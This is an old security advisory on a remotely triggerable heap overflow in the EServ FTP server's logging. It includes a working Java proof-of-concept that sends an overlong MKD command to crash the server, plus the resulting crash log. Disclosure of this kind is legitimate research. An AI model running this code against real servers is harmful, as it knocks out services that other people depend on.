MDMA Advisory #6 by Andrew Lewis aka. Wizdumb
EServ Logging Heap Overflow Vulnerability

EServ has problems handling long strings in its logging, which leads it to
have a remotely exploitable heap overflow. The following code, written in
Java coz it's my language of choice, demonstrates the vulnerability...

--------------------------------------------------------
/* Proof of concept code for the heap overflow in EServ <= 2.9.2
 * Written 10/05/2000 by Andrew Lewis aka. Wizdumb [MDMA]
 */

import java.io.*;
import java.net.*;

class eservheap {

public static void main(String[] args) throws IOException {

  if (args.length < 1) {
    System.out.println("Syntax: java eservheap [host] <user> <pass>");
    System.exit(1); }

  Socket soq = null;
  PrintWriter white = null;
  BufferedReader weed = null;

  try {
    soq = new Socket(args[0], 21);
    white = new PrintWriter(soq.getOutputStream(), true);
    weed = new BufferedReader(new InputStreamReader(soq.getInputStream()));
  } catch (Exception e) {
    System.out.println("Problems connecting :-/");
    System.exit(1); }

  weed.readLine();
  String juzer = (args.length == 3) ? ("USER " + args[1]) : "USER anonymous";
  String pasz =  (args.length == 3) ? ("PASS " + args[2]) : "PASS mdma";
  white.println(juzer + "\n" + pasz);
  weed.readLine();
  weed.readLine();

  white.print("MKD ");
  for (int i = 0; i < 10000; i++) white.print("A");
  white.println(); // uNf! Who yoh daddy, bitch?
  weed.readLine();
  white.println("QUIT"); } }
--------------------------------------------------------

And no, you don't need write access to the directory for that to work -- like
I said, The heap overflow occurs in the logging. :)

The following extract from e.log show the effect of this code...

----------------------------------------
27.05.2000 17:02:19 Eserv/2.92 2986 1
EXCEPTION!  CODE:C0000005  ADDRESS:49247E  WORD:C!  REGISTERS:
1C5EC6C   50 62 34 00  36 5D 4E 00  FF 5F 34 00  0C 27 00 00
Pb4.6]N.Ñ_4..'..
1C5EC7C   E8 FD 00 00  41 00 00 00  48 FF C5 01  7E 24 49 00
ÉÜ..A...HÑå.~$I.
1C5EC8C   1B 00 00 00  46 02 01 00  9C EE C5 01  23 00 00 00
.....F..._Ïå.#...

/* Ie. Thread crashes on MKD, but has no effect on other threads */

USER DATA: 346250 HANDLER: 1C5EED0 RETURN STACK:
1C5EE9C :  498BB9 C!
1C5EEA0 :  4C2AF0 HOLD
1C5EEA4 :  4CAC34 HOLDS
/* these HOLDS are buggy - no length checking */
1C5EEA8 :  7FFFE6FC <not in the image>
1C5EEAC :  7FFFD8F4 <not in the image>
1C5EEB0 :  4CAC49 HOLDS
1C5EEB4 :  4E5E12 MKD
1C5EEB8 :  49B279 |DROP
1C5EEBC :  2 <not found>
1C5EEC0 :  339DE8 <not found>
1C5EEC4 :  270C <not found>
1C5EEC8 :  4C42C1 INTERPRET
1C5EECC :  4C303F NEW_CATCH
1C5EED0 :  1C5EF14 <not in the image>
----------------------------------------

The vendor has been contacted some time ago, and despite recently having
disappeared, will probably have a fix for the problem out in the near future.
Hi's to Andrey Cherezov (the talented EServ author), everyone in MDMA, b0f,
Vortexia, b0g, and everyone who knows me.

Cheers,
Andrew Lewis aka. Wizdumb

PS. It may also be worth noting that EServ has the /con/con vulnerability and
    that older versions shipped with a vulnerable version of Ultimate Bulletin
    Board (See SerG's post in February).

wizdumb@leet.org
www.mdma.za.net/fk